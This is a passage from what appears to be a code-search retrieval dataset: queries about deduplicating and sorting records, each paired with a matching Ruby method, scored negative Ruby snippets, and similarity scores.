"0.4830933",
"0.48308277",
"0.48261184",
"0.48170483",
"0.4814064",
"0.4814064",
"0.48117363",
"0.4810753",
"0.48060387",
"0.4800743",
"0.47997904",
"0.47975639",
"0.479559",
"0.4786129",
"0.4785754",
"0.47841898",
"0.477743",
"0.47747916",
"0.4771381",
"0.47690916"
] |
0.48099366
|
88
|
Removes any duplicates by comparing the sort names and ids
|
def deduplicate(records:)
return [] unless records.present? && records.is_a?(Array)
out = []
found = []
records.each do |rec|
next if found.include?(rec[:sort_name]) || found.include?(rec[:id])
found << rec[:sort_name]
found << rec[:id] if rec[:id].present?
out << rec
end
out
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def duplicates\n @duplicates = Duplicate.all\n @duplicates.sort! do |x, y|\n diff = (x.person.last_name || '') <=> y.person.last_name\n if diff == 0\n (x.person.first_name || '') <=> y.person.first_name\n else\n diff\n end\n end\n end",
"def eliminate_duplicates\n match_reduce(\n ->((_, rhs1_s), (_, rhs2_s)) { rhs1_s == rhs2_s },\n ->(lhs1, lhs2, _) { @cfg.replace! lhs2, lhs1 }\n )\n end",
"def del_sort(array)\n end",
"def remove_duplicates()\n self.duplicate_transactions_by_actor().each do |a, txns|\n # Spaceship operator, if my actor is of greater value than theirs, skip because they should remove the dupe\n next if (self.actor <=> a) == 1\n txns.each do |txn|\n self.counts[self.actor][\"txns\"].delete(txn)\n end\n end\n end",
"def clean_up_dupes(dupes, output)\n unless dupes.empty?\n dupes.uniq.each do |sequence|\n output.delete sequence\n end\n end\n\n output\n end",
"def without_duplicates(bindings); end",
"def sort(objs)\n Array(objs).flatten.compact.uniq.collect(&:to_s).sort.collect(&:to_sym)\n end",
"def sort(objs)\n Array(objs).flatten.compact.uniq.collect(&:to_s).sort.collect(&:to_sym)\n end",
"def remove_duplicates\n return @remove_duplicates if @set_remove_duplicates\n @remove_duplicates ||= true\n end",
"def preserving_uniq(sorted)\n result = []\n elements = sorted.uniq\n sorted.each do |element|\n if elements.include?(element)\n result << element\n elements.delete(element)\n end\n end\n result\n end",
"def find_dupes\n @hathi_report_filtered.find_all.with_index do |row, index|\n row if (row['local_id'] == @hathi_report_filtered.at(index + 1)&.[]('local_id')) || (row['local_id'] == @hathi_report_filtered.at(index - 1)['local_id'])\n end.compact\n end",
"def remove_duplicate_matches(matches)\r\n # Sort the items.\r\n # Sort the array without matches[0], since we need it to\r\n # stay in place no matter what.\r\n if matches.length>0\r\n matches[1..-2] = matches[1..-2].sort.uniq\r\n end\r\n matches\r\n end",
"def sort!(hash)\n hash.replace(sort(hash))\n end",
"def dedup_brands\n $data.map {|iso| iso[\"brand\"]}.uniq\nend",
"def d(memo, other)\n other.each do |sort|\n unless memo.keys.include?(sort[0])\n memo << sort\n end\n end\n end",
"def remove_duplicates(*cols, deleted_id_order: '<')\n condition_sql = cols.map { |col| \"#{table_name}.#{col} IS NOT NULL AND #{table_name}.#{col} = t.#{col}\" }.join(' AND ')\n query = <<-SQL\n DELETE FROM #{table_name} USING #{table_name}, #{table_name} AS t WHERE #{table_name}.id #{deleted_id_order} t.id AND #{condition_sql}\n SQL\n connection.execute(query)\n end",
"def grouped_duplicates(collection); end",
"def s_idsort; det.link(:text, 'ID'); end",
"def run\n fail('Unable to dedup and sort. No filename provided') and return unless @filename\n fail(\"Unable to dedupe and sort. #{@filename} does not exist\") and return unless File.exists?(@filename)\n sort_dedupe_merge\n end",
"def duplicates\n Contact.find(:all, :conditions => [\"id != ? AND merge_id = ?\", id, merge_id])\n end",
"def clean_result_set(result_set)\n result_set.each do |set|\n set.sort!\n end\n result_set.sort! {|a,b| a.size <=> b.size}\n end",
"def dedup_pure_rec\n return if @misc[:by_rmid].size < 2\t# Dups not possible for 0 or 1 rmids\n\n rmids = {}\n is_preferred_rmids = {}\n @misc[:by_rmid].each{|rmid,values|\n uuid = values[:pure_rec_ids][:uuid]\n rmids[uuid] ||= []\n rmids[uuid] << rmid\n\n is_preferred_rmids[uuid] ||= []\n is_preferred_rmids[uuid] << (rmid == values[:pure_rec_ids][:externalId])\n }\n return if rmids.all?{|uuid,id_list| id_list.size < 2}\t# 1 rmid for each uuid\n\n # At least 1 record (uuid) needs to be deduped by discarding some rmids.\n is_preferred_rmids.each{|uuid,is_prefs|\n i = is_prefs.find_index{|is_pref| is_pref}\n rmid_keep = i ? rmids[uuid][i] : rmids[uuid][0]\n rmids_to_del = rmids[uuid] - [rmid_keep]\n STDERR.puts \"INFO: For uuid #{uuid} & rmid #{rmid_keep}; deleting matching-rmids #{rmids_to_del.inspect}\"\n rmids_to_del.each{|id| @misc[:by_rmid].delete(id)}\n }\n end",
"def unique\n list = File.readlines(file_name)\n full_list = list.sort_by { |x| x.to_textual }\n #uniques = full_list.uniq\n uniques = full_list.uniq\n puts uniques\n end",
"def query_by_duplicates\n tmp = self.clone\n tmp.list = list.select {|k,v| v.filename.count > 1}\n end",
"def duplicate_names\n array = all.pluck(:name)\n array.select{|element| array.count(element) > 1 }.uniq\n end",
"def duplicate_names\n array = all.pluck(:name)\n array.select{|element| array.count(element) > 1 }.uniq\n end",
"def uniq() end",
"def sort(objects, ids)\n dict = {}\n objects.each{|obj| dict[obj.id] = obj}\n return ids.map{|id| dict[id]}\nend",
"def array_to_unique\n a = File.readline(\"./tmp/database_doings/doing_phrases/phrases_to_sort.txt\")\n b = a.sort\n c = b.uniq\n while d = c.shift\n puts d unless nil?\n end\n end",
"def remove_duplicates(words)\n unique_words = Hash.new { |hash, key| hash[key] = 0 }\n words.each do |word|\n \tunique_words[word] += 1\n end\n unique_words.keys\nend",
"def delete_duplicated_relationship(entity_sym, relationship_type_desc)\n \n entity = entity_sym.to_s\n \n puts \"---- Deleting duplicated \" + entity + \" relationships: \" + relationship_type_desc\n \n # get an entity _relantionship model\n relationship_model_s = entity.capitalize + \"Relationship\"\n relationship_model = relationship_model_s.constantize\n \n conditions = entity + \"_id IN (SELECT r.\" + entity + \"_id FROM (SELECT \" + entity + \"_id, relationship_type_id, count(*) AS count \" +\n \"FROM \" + entity + \"_relationships WHERE relationship_type_id=(SELECT relationship_type_id FROM relationship_types WHERE \" +\n\t\t\t \" relationship_type_desc='\" + relationship_type_desc +\"') GROUP BY \" + entity + \"_id, relationship_type_id) r WHERE r.count > 1) \" +\n\t\t\t \" AND relationship_type_id=(SELECT relationship_type_id FROM relationship_types WHERE relationship_type_desc='\" + relationship_type_desc +\"')\"\n \n puts conditions\n \n objects = relationship_model.find(:all, :conditions => conditions, :order => entity + '_id, '+ entity + '_relationship_id')\n \n puts \"Objects length:\" + objects.length.to_s\n \n objects_hash = Hash.new\n objects.each do |o|\n \t#puts o.id.to_s + \" -> \" + o.send(entity + \"_id\").to_s\n \tobjects_hash.store(o.id, o.send(entity + \"_id\"))\n end\n \n puts \"---- Objects Hash (with dupes)\"\n puts \"Format: entity _relationship_id: entity _id\"\n puts objects_hash.to_yaml \n \n # by using invert method of Hash class\n # we make values to be keys, hence we get\n # uniq entity _id\n objects_hash_inverted = objects_hash.invert\n #objects_hash = objects_hash_inverted.invert\n \n #puts \"---- Objects Hash (uniq)\" \n #puts objects_hash.to_yaml \n \n puts \"---- Objects Hash Inverted (uniq)\" \n puts objects_hash_inverted.to_yaml \n \n puts \"Objects Hash Inverted (uniq) length:\" + objects_hash_inverted.length.to_s\n \n entities_affected = Array.new\n \n objects_hash_inverted.each_pair {|key, value| \n \t# get entities relationships of which are\n \t# affected for recording purposes\n \tentities_affected.push(key)\n\t\n \t# an entity _relationships record\n\tobject_to_delete = relationship_model.find(value)\n\t\n\t# the associated relationships record\n\trelationship = object_to_delete.relationship\n\t\n\t# delete entity _relationships record\n\tobject_to_delete.destroy\n\t\n\t# delete relationships record\n\trelationship.destroy\n }\n \n puts \"---- Duplicate relationships of type '\" + relationship_type_desc + \"' deleted for the following \" + entity.capitalize + \"s\"\n puts entities_affected.to_yaml\n \nend",
"def remove_duplicates(all_books, priority_list)\n array_without_dups = all_books - priority_list\n array_without_dups\n end",
"def sort_entries; end",
"def clean_all\n [@vc_primary, @vc_complement, @hc_between_strands].collect { |a| a.delete(nil); a.uniq!; a.sort! }\n end",
"def dedupe_by_uri(records)\n result = []\n seen = {}\n\n records.reverse.each do |record|\n if !seen[record['uri']]\n result << record\n seen[record['uri']] = true\n end\n end\n\n result.reverse\n end",
"def dedupe_by_uri(records)\n result = []\n seen = {}\n\n records.reverse.each do |record|\n if !seen[record['uri']]\n result << record\n seen[record['uri']] = true\n end\n end\n\n result.reverse\n end",
"def remove_duplicates(cart:[])\n cart.uniq\nend",
"def un_unique\n list = File.readlines(file_name)\n full_list = list.sort_by { |x| x }\n full_list.uniq\n end",
"def dedup(match_section: true)\n unique = Items.new\n each do |item|\n unique.push(item) unless unique.include?(item, match_section: match_section)\n end\n\n unique\n end",
"def parts_with_order_remove part\n self.parts_with_order = self.parts_with_order.reject{|master_file| master_file.pid == part.pid }\n end",
"def dedupe(words)\n words.select do |word|\n word.downcase != @word.downcase \n end\n end",
"def reorder(things, ids)\n ordered_things = []\n ids.each do |id|\n record = things.find {|thing| record_id(thing).to_s == id.to_s} \n raise \"Out of sync! The id #{id} is in the Solr index but missing in the database!\" unless record\n ordered_things << record\n end\n ordered_things\n end",
"def remove_duplicates(array)\nend",
"def remove_duplicates(nums)\n #提供的array為已經排序過的array\n #將重複的移除,使陣列中每個元素都不重複\n #右邊元素=左邊元素時,全部往左移\n #將左移過後多出來的元素設為nil\n #刪除nil元素用 陣列.delete(nil)\n #回傳新陣列長度\n \n i = 0\n j = 0\n k = 0\n\n numssize = nums.size\n\n while i < (numssize - j)\n nums[i] = nums[ i + j ]\n if nums[i] == nums[i + j +1]\n j += 1\n while nums[i + j] == nums[i + j +1]\n j += 1\n end\n nums[i + j] = nums[ i + j + 1]\n end\n i += 1\n end\n\n for k in (numssize - j)...numssize\n nums[k] = nil \n end\n\n nums.delete(nil)\n\n newsize = nums.size\nend",
"def remove_duplicates(list)\n d = list.clone\n dups = find_duplicates(list).each_with_object([]) { |(k, v), a| a << k if v > 1 }\n dups.each { |i| d.delete(i) }\n d\nend",
"def sort\n _in_order(@root, @@id_fun) # use Id function\n end",
"def sort_key_inclusion(prms)\n prms.extract!(:sort_key) unless %w[resource_id partner_id]&.include?(prms[:sort_key]) # default by kind, client_id, product_instance_id, product_id\n end",
"def index\n #@contracts = Contract.all.order(sort_column + \" \" + sort_name).uniq{|contract| contract.name}\n @contracts = Contract.all.order(sort_column + \" \" + sort_name).uniq{|contract| contract.name}\n end",
"def drop_duplicated_records(pois, poi)\n\tpois.each do |xx|\n\t\txx.destroy if xx.ref == poi.ref && (!xx.lat || !xx.lng)\n\tend\nend",
"def filter_out_unwanted_names(output, names)\n names.each do |match|\n output.keys.each do |uuid|\n output[uuid].keys.each do |name|\n unless name_matches?(name, match)\n output[uuid].delete name\n end\n end\n end\n end\n end",
"def group_ids(*ids, **)\n ids.sort!.uniq!\n ids\n end",
"def split_exact_dups(dups_hash)\n dups_hash.partition { |_id, docs| docs.map(&:to_hash).uniq.size == 1 }\n end",
"def sort!\r\n @tabs.sort! { |x,y| x.name <=> y.name }\r\n end",
"def merge(ary1, ary2)\n results = ary1.uniq\n ary2.each {|el| results << el unless results.include?(el)}\n results\nend",
"def sort_my_list\n @tracks.clear\n @artists.clear\n @genres.clear\n @user_list.each do |item|\n @tracks << item['id'] if item['type'] == 'track'\n @artists << item['id'] if item['type'] == 'artist'\n @genres << item['name'].downcase if item['type'] == 'genre'\n end\n end",
"def remove_duplicate_entries\n File.open(\"#{output_directory_path}unique_ucf_lists.txt\", \"w+\") { |file|\n file.puts File.readlines(single_bad_ucf_file).uniq\n }\n end",
"def my_array_sorting_method(source)\n sourceDup = source.dup\n # p sourceDup.sort_by{|word| word.to_s}\n\n return sourceDup.sort_by{|word| word.to_s}\nend",
"def cull_old_ids\n saved_ids = @ids.keys.reverse.take(@max_ids)\n @ids.select! do |k, v|\n saved_ids.include? k\n end\n end",
"def remove_duplicate_imports\n files.each(&:remove_duplicate_imports)\n end",
"def sort\n @entries = DependencySorter.new(@entries).sorted_items\n end",
"def unique_entries\n entries = Hash[*@entries.map { |entry| [entry.ip_address, entry] }.flatten].values\n entries.sort_by { |e| [-e.priority.to_i, e.hostname.to_s] }\n end",
"def process_sort_by(values)\n map_values(values) do |value|\n split_value(value, \" \").join(\" \")\n end \n end",
"def unique_entries_by_(key) \n seen = Set.new()\n entries.select { |e|\n k = e.send(key)\n seen.add?(k)\n }.sort{|a, b| a.range.low <=> b.range.low }\n end",
"def duplicates\n\t\tw = ''\n\t\tids = [id]\n\t\tchildren = self.class.unscoped.where(archetype: self)\n\t\ti = 0\n\t\twhile i < children.size\n\t\t\tchild = children[i]\n\t\t\tids << child.id\n\t\t\tchildren += self.class.unscoped.where(archetype: child)\n\t\t\ti+=1\n\t\tend\n\t\tids.map! { |x| \"archetype_id=#{x}\" }\n\t\tids = ids.join ' or '\n\t\tids = \" and (#{ids})\" if ids.present?\n\t\tw = \"archetype_type = '#{self.class.name}' #{ids}\"\n\t\tself.class.unscoped.where(w)\n\tend",
"def removeDupe(linkedlist)\n return linkedlist.uniq!\nend",
"def sort_id\n self.id\n end",
"def dedupe\n deduped_direct = []\n deduped_query_links = []\n\n @raw_multi_query_links.each do |_key, value|\n deduped_direct.push(value['direct']).compact\n deduped_query_links.push(value['query_links']).compact\n end\n deduped = {\n 'direct' => deduped_direct,\n 'query_links' => deduped_query_links\n }\n deduped\n end",
"def dedup\n new_tasks = []\n old_tasks = {}\n @tasks.each do |t|\n if not t.toodleid\n new_tasks << t\n elsif old_tasks.key?(t.toodleid)\n # retain only the last update\n old_tasks[t.toodleid] = [old_tasks[t.toodleid], t].max\n else\n old_tasks[t.toodleid] = t\n end\n end\n @tasks = new_tasks + old_tasks.values\n self\n end",
"def move_duplicates(a)\n\n n = a.length\n\n h = Hash.new\n\n if a.length < 1\n return nil\n end\n\n if a.length < 2\n return a\n end\n\n dup_arr = []\n\n (0..n-1).each do |i|\n if h[a[i]]\n h[a[i]] = h[a[i]] + 1\n else\n h[a[i]] = 1\n end\n end\n\n h.each do |key,val|\n\n if h[key] > 1\n dup_arr.push(key)\n end\n end\n\n return dup_arr\n\n\nend",
"def test_removes_duplicates\n stream = FromArray.new([2, 2, 3, 4, 1, 1, 2, 5, 4, 3, 6])\n collected = stream.distinct.collect\n assert(collected == collected.uniq)\n assert(collected.length == collected.uniq.length)\n end",
"def dedup_field_names(*names)\n names.inject([]) do |acc, arr|\n acc + arr.map{ |e| search_field_name(acc, e) }\n end\n end",
"def remove_duplicates!\n \t\t# current will move forward 1 each step\n \t\tcurrent = @head\n\n \t\t# prev will hold on to the last non-duplicate node\n \t\tprev = @head\n\n \t\twhile (current.next_node)\n \t\t\t# if we find a new value...\n \t\t\tif prev.val != current.val\n \t\t\t\t# add this current node to our non-duplicate list\n \t\t\t\tprev.next_node = current\n \t\t\t\t# update prev to store this most recent non-duplciate node\n \t\t\t\tprev = current\n \t\t\tend\n \t\t\t\n \t\t\t# always advance current\n \t\t\tcurrent = current.next_node\n \t\tend\n \t\t# finally, add tail value if it's unique\n \t\tif prev.val != current.val\n\t\t\t# add this current node to our non-duplicate list\n\t\t\tprev.next_node = current\n\t\t\t@tail = current\n\t\telse\n\t\t\tprev.next_node = nil\n\t\t\t@tail = prev\n\t\tend\n \tend",
"def sort_display_data\n if @total_data.has_key?(\"\") or @total_data.has_key?(nil) and @total_data.length > 1\n @total_data = @total_data.sort do|a,b|\n a[0].to_s <=> b[0].to_s\n end\n deleted = @total_data.delete_at(0)\n @total_data.push(deleted)\n else\n @total_data = @total_data.sort\n end\n @total_data\n end",
"def tie_breaking_sort\n { \"content_id\" => { order: \"asc\" } }\n end",
"def sort_names_old(array_units)\n list = []\n hash = {}\n data = []\n array_units.each do |a|\n hash[a[0]] = a[1]\n list << a[0]\n end\n list.sort!{|x, y| /\\d+/.match(x).to_s.to_i <=> /\\d+/.match(y).to_s.to_i} #need to fix if have \"10a10\", \"2A1\"\n p list\n list.each do |name|\n data << [name, hash[name]]\n end\n p data\n return data\n end",
"def sort\n @sort ||= Vidibus::Words.sort_by_occurrence(list)\n end",
"def remove_duplicates(list)\n list.inject({}){ |ele, n| ele[n] = nil; ele }.keys\nend",
"def sort a\r\n sort_rec a, []\r\nend",
"def sort a\r\n sort_rec a, []\r\nend",
"def dup_and_save\n new_q = self.amoeba_dup\n new_q.sort_order = self.sort_order.to_i + 1\n new_q.save\n new_q\n end",
"def remove_duplicates_2(list)\n seen = {}\n to_delete = []\n\n list.each do |node|\n if seen[node.value]\n to_delete << node\n end\n seen[node.value] = true\n end\n\n to_delete.each do |node|\n list.delete_node(node)\n end\n\n return list\nend",
"def duplicates(collection); end",
"def remove_duplicate_imports\n duplicate_imports_mapping = duplicate_imports_info\n duplicate_imports = duplicate_imports_mapping.keys\n file_lines = IO.readlines(@path, chomp: true).select do |line|\n if duplicate_imports.include? line\n if duplicate_imports_mapping[line] <= 1\n line\n else\n duplicate_imports_mapping[line] = duplicate_imports_mapping[line] - 1\n nil\n end\n else\n line\n end\n end\n File.open(@path, 'w') do |file|\n file.puts file_lines\n end\n end",
"def collapse_duplicates(controls)\n unique_controls = []\n\n controls.map { |x| x['id'] }.uniq.each do |id|\n collapsed_results = controls.select { |x| x['id'].eql?(id) }.map { |x| x['results'] }\n unique_control = controls.find { |x| x['id'].eql?(id) }\n unique_control['results'] = collapsed_results.flatten\n unique_controls << unique_control\n end\n unique_controls\n end",
"def collapse_duplicates(controls)\n unique_controls = []\n\n controls.map { |x| x['id'] }.uniq.each do |id|\n collapsed_results = controls.select { |x| x['id'].eql?(id) }.map { |x| x['results'] }\n unique_control = controls.find { |x| x['id'].eql?(id) }\n unique_control['results'] = collapsed_results.flatten\n unique_controls << unique_control\n end\n unique_controls\n end",
"def collapse_duplicates(controls)\n unique_controls = []\n\n controls.map { |x| x['id'] }.uniq.each do |id|\n collapsed_results = controls.select { |x| x['id'].eql?(id) }.map { |x| x['results'] }\n unique_control = controls.find { |x| x['id'].eql?(id) }\n unique_control['results'] = collapsed_results.flatten\n unique_controls << unique_control\n end\n unique_controls\n end",
"def uniq!() end",
"def remove_duplicate_inspired_book(head)\n current = head\n previous = nil\n keep_previous = false\n while current != nil do\n runner = head\n while runner != current\n if runner.data == current.data\n previous.next_item = current.next_item\n keep_previous = true\n break\n else\n runner = runner.next_item\n keep_previous = false\n end\n end\n previous = current unless keep_previous\n current = current.next_item\n end\n\n head\nend",
"def dedupe_id\n raise NotImplementedError\n end",
"def destroy\n\t\t@sort = Sort.find(params[:id])\n\t\t@sort.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(sorts_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend",
"def non_duplicated_values(values)\n values.find_all do |e|\n if values.count(e) > 1\n values.delete(e)\n end\n end\n values\nend",
"def sort\n if (defined? params[:moved] and defined? params[:test_case])\n # moved will look like 'test_case_3.0', make it '3.0' instead\n params[:moved].gsub!(/.*_(\\d+\\.\\d+)$/, '\\1')\n # find the new position for this item\n pos = params[:test_case].index(params[:moved]) + 1\n tc_id, tc_pos = params[:moved].split('.', 2)\n if (defined? pos and pos != tc_pos.to_i)\n stc = SuiteTestCase.where(:suite_id => params[:id], :test_case_id => tc_id).first\n if stc.insert_at(pos) != false\n flash[:notice] = \"Successfully saved sort order.\"\n end\n end\n end\n @suite = Suite.find(params[:id])\n # must redraw list with updated id #'s\n @current_cases = @suite.test_cases\n respond_with @suite do |format|\n format.js { render 'sort.js' }\n end\n end",
"def remove_dup(a,b)\n b.each {|e| a.delete_at(a.index(e)) unless a.index(e).nil?}\n a\nend",
"def acct_arr_mover\n puts \"\\n\\n#{\"=\"*40}STARTING ID SORTER METHOD 3a: ACCOUNT ARRAY MOVER-A\\nChecks for SFDC Core IDs with same Scraped Account Name as Indexer and saves ID in array in Indexer/Scrapers.\\n\\n\"\n\n cores = Core.where.not(sfdc_acct: nil)\n counter=0\n cores.each do |core|\n sfdc_acct = core.sfdc_acct\n sfdc_id = core.sfdc_id\n\n indexers = Indexer.where(archive: false).where(acct_name: sfdc_acct)\n indexers.each do |indexer|\n acct_name = indexer.acct_name\n crm_acct_ids = indexer.crm_acct_ids\n\n counter+=1\n puts \"\\n\\n#{\"=\"*50}\\n#{counter}\"\n puts \"IDs: #{crm_acct_ids}\"\n puts \"CRM ID: #{sfdc_id}\"\n puts \"CRM Acct: #{sfdc_acct}\"\n puts \"Web Acct: #{acct_name}\"\n\n crm_acct_ids << sfdc_id\n final_array = crm_acct_ids.uniq.sort\n puts \"IDs: #{crm_acct_ids}\"\n puts \"Final: #{final_array}\"\n indexer.update_attribute(:crm_acct_ids, final_array)\n end\n end\n end",
"def remove_unwanted_duplicates word_pairs\n all_sequences = word_pairs.map{ |pair| pair.first }\n\n duplicate_seqs = identify_duplicate_sequences all_sequences\n\n word_pairs.reject do |seq, original|\n duplicate_seqs.include? seq\n end\n end",
"def remove_duplicates(list)\n list.sort!\n first_element = list.first\n previous_element = list.first\n list[1..-1].map do |element|\n element = nil if element == previous_element\n previous_element = element\n end.compact.unshift(list.first)\nend",
"def remove_duplicates(movies)\n # Iterate through the list and remove any duplicates -- they should be right next to each other\n i = 0\n while i < (movies.length - 1)\n if compare_movies(movies[i], movies[i+1]) == 0\n movies.delete_at i\n else\n i += 1\n end\n end\n\n # Lastly, return the subset of movies\n movies\nend",
"def fixDupePeople\n puts \"Scanning for unconnected authors.\"\n connectAuthors # make sure all newly converted (or reconverted) items have author->people links\n\n puts \"Scanning for referenced people.\"\n referencedPeople = Set.new\n ItemAuthor.where(Sequel.lit(\"person_id is not null\")).each { |row|\n row[:person_id] and referencedPeople << row[:person_id]\n }\n\n puts \"Scanning for duplicate people.\"\n emailToPeople = Hash.new { |h,k| h[k] = Set.new }\n Person.where(Sequel.lit(\"attrs->'$.email' is not null\")).each { |person|\n attrs = JSON.parse(person.attrs)\n next if attrs['forwarded_to']\n Set.new([attrs['email']] + (attrs['prev_emails'] || [])).each { |email|\n emailToPeople[email.downcase] << person.id\n }\n }\n\n puts \"Change phase starting.\"\n DB.transaction {\n emailToPeople.each { |email, people|\n next if people.size == 1\n\n keep = people & referencedPeople\n keep.empty? and keep << people.to_a.sort[0]\n\n toss = people - keep\n if !toss.empty?\n puts \"#{email}: keep=#{keep.to_a.join(\";\")} toss=#{toss.to_a.join(\";\")}\"\n toss.each { |id| Person[id].delete }\n end\n\n if keep.size > 1\n sorted = keep.to_a.sort\n target = sorted[0]\n remap = sorted[1..-1]\n puts \"#{email}: target=#{target} remap=#{remap.join(\";\")}\"\n remap.each { |source|\n ItemAuthor.where(person_id: source).update(person_id: target)\n }\n end\n }\n }\nend",
"def remove_dup(given_array, duplicate_count)\r\n counter = 0\r\n new_array = []\r\n hold_info = {}\r\n until counter >= given_array.length \r\n if hold_info[given_array[counter]].nil?\r\n hold_info[given_array[counter]] = 1 \r\n else\r\n hold_info[given_array[counter]] += 1\r\n end\r\n counter += 1\r\n end\r\n duplicates_array = hold_info.select{ |key, value| value == duplicate_count}\r\n new_array = given_array.clone\r\n duplicates_array.each {|key,value| new_array.delete(key)} # delete all the duplicate numbers from the array\r\n p new_array.sort\r\nend",
"def remove_duplicates(nums)\n\n non_dupe_index = 0\n nums.each do |num|\n if (non_dupe_index == 0 || num > nums[non_dupe_index - 1])\n nums[non_dupe_index] = num\n non_dupe_index += 1\n end\n end\n nums.replace(nums)\n non_dupe_index\n\nend"
] |
[
"0.58871746",
"0.5852777",
"0.5831081",
"0.5724807",
"0.57106245",
"0.56934",
"0.5622929",
"0.5622929",
"0.5603035",
"0.55947965",
"0.55722135",
"0.5550381",
"0.55066276",
"0.5505039",
"0.5504047",
"0.55018365",
"0.5463947",
"0.5435217",
"0.5431193",
"0.5418625",
"0.5398014",
"0.5396028",
"0.5392428",
"0.5381528",
"0.53650796",
"0.53650117",
"0.532617",
"0.5307113",
"0.5299884",
"0.52878624",
"0.52835095",
"0.5281704",
"0.5272639",
"0.52515274",
"0.5229918",
"0.5229918",
"0.5218725",
"0.5216955",
"0.52063715",
"0.5201271",
"0.5185365",
"0.51814896",
"0.5181038",
"0.51785195",
"0.51575315",
"0.51517284",
"0.5150705",
"0.5136043",
"0.5125744",
"0.5121722",
"0.5115603",
"0.51134956",
"0.51062214",
"0.5092482",
"0.50899476",
"0.5089625",
"0.50882137",
"0.5084994",
"0.50778",
"0.50757086",
"0.50697297",
"0.5063854",
"0.50599",
"0.50509673",
"0.50500786",
"0.50367314",
"0.5028627",
"0.50274783",
"0.5024283",
"0.5023766",
"0.50184125",
"0.50148344",
"0.50127953",
"0.50011736",
"0.5000707",
"0.49989668",
"0.49975783",
"0.49960598",
"0.49960598",
"0.49917597",
"0.49904233",
"0.49881458",
"0.49828863",
"0.49824765",
"0.49824765",
"0.49824765",
"0.49781334",
"0.4976109",
"0.49742138",
"0.497293",
"0.49707496",
"0.49684608",
"0.49668032",
"0.4961563",
"0.49594516",
"0.4935441",
"0.49312717",
"0.49297696",
"0.49261206",
"0.49260953"
] |
0.6992698
|
0
|
Resorts the results returned from ROR so that any exact matches appear at the top of the list. For example a search for `Example`: Example College Example University University of Example Universidade de Examplar Another College that ROR has a matching alias for
|
def sort(array:)
return [] unless array.present? && array.is_a?(Array)
# Sort the results by score + weight + name
array.sort do |a, b|
# left = [a[:weight], a[:score], a[:sort_name]]
# right = [b[:weight], b[:score], b[:sort_name]]
[a[:weight], a[:sort_name]] <=> [b[:weight], b[:sort_name]]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n# @entries = Entry.order('lower(de)')\n @q = Entry.order('lower(de)').ransack(params[:q])\n @entries = @q.result(distinct: true)\n end",
"def index\n @search = Item.search(params[:q])\n @search.sorts = 'name asc' if @search.sorts.empty?\n @items = @search.result\n if params[:q].present?\n params[:q].each do |k, v| \n if v == 'name asc'\n @items = @search.result.sort { |p1, p2| p1.name.downcase <=> p2.name.downcase }\n elsif v == 'name desc'\n @items = @search.result.sort { |p2, p1| p1.name.downcase <=> p2.name.downcase }\n end\n end\n end\n end",
"def search_results\n @term = sname = request.query_parameters[\"search\"].to_s.downcase\n data = search_term(sname)\n @top = []\n @rest = []\n data[:results].each do |type|\n type[:matches].each do |hit|\n if hit[:score] >= 1.0\n @top << hit\n else\n @rest << hit\n end\n end\n end\n @top.sort! { |a, b| b[:score] <=> a[:score] }\n @rest.sort! { |a, b| b[:score] <=> a[:score] }\n render \"site/results\"\n end",
"def bubble_up_exact_matches(result_list:, term:)\n exact_match = []\n matches_at_beginning = []\n matches_within = []\n other_items = []\n match_term = term.downcase\n result_list.each do |result_item|\n name = result_item[:title].downcase\n if name == match_term\n exact_match << result_item\n elsif name.start_with?(match_term)\n matches_at_beginning << result_item\n elsif name.include?(match_term)\n matches_within << result_item\n else\n other_items << result_item\n end\n end\n exact_match + matches_at_beginning + matches_within + other_items\n end",
"def map_search(search,compare,year,rain_fall_type)\n if search == \"All\"\n if rain_fall_type == \"All\"\n where(Year: year).order(:id)\n else\n where(Year: year).order(rain_fall_type)\n end\n \n \n else\n # where(Districts: search)\n where(Year: year).order(rain_fall_type)\n end\n end",
"def bubble_up_exact_matches(result_list:, term:)\n matches_at_beginning = []\n matches_within = []\n other_items = []\n match_term = term.downcase\n result_list.each do |result_item|\n next if result_item.blank?\n\n name = result_item['name'].downcase\n if name.start_with?(match_term)\n matches_at_beginning << result_item\n elsif name.include?(match_term)\n matches_within << result_item\n else\n other_items << result_item\n end\n end\n matches_at_beginning + matches_within + other_items\n end",
"def index\n # @entries = Entry.all\n @search.sorts = ['term desc', 'created_at desc'] if @search.sorts.empty?\n @search_term = params[:q]\n @entries = @search\n .result(distinct: true)\n .includes(:definitions)\n .page(params[:page])\n .per(params[:per_page])\n\n\n 1\n end",
"def search_and_sort(value, direction)\n if value.blank? && direction.blank?\n Technologist.all.order(\"technologists.name ASC\")\n elsif value.blank? && direction=='asc'\n Technologist.all.order(\"technologists.name ASC\")\n elsif value.blank? && direction=='desc'\n Technologist.all.order(\"technologists.name DESC\")\n elsif value && direction=='asc'\n Technologist.full_text_search(value).reorder(\"technologists.name ASC\").with_pg_search_rank\n elsif value && direction=='desc'\n Technologist.full_text_search(value).reorder(\"technologists.name DESC\").with_pg_search_rank\n else\n Technologist.full_text_search(value).with_pg_search_rank\n end\n end",
"def sort_and_search(loans)\n if search_param\n @loans = loans.list_with_loan_type_and_client.order(\"#{sort_column_param} #{sort_order_param}\").simple_search search_param\n else\n @loans = loans.list_with_loan_type_and_client.order(\"#{sort_column_param} #{sort_order_param}\")\n end\n end",
"def by_relevance\n self.order(\"search_ranking DESC\")\n end",
"def index\n\n if params[:search]\n @rhs = Rh.search(params[:search]) \n else \n @rhs = Rh.order(\"Nome\")\n end\n\n end",
"def index\n @search_name = params[:search_name]\n\n # INICIO RANSACK\n @query = LentType.ransack(params[:q]) \n @query.name_cont = @search_name if @search_name.present?\n\n # PAGINACION Y ORDEN\n @results = @query.result(distinct: true).paginate(:page => params[:page] )\n \n # RESULTADO FINAL\n @lent_types = @results \n end",
"def index\n @q = Author.ransack(params[:q])\n \n # The sortable_name field gives the last name downcased with \"ae\" etc substituted for umlauted vowels\n @authors = @q.result.paginate(:page => params[:page], :per_page => 14).order(sortable_name: :asc, firstnames: :asc)\n end",
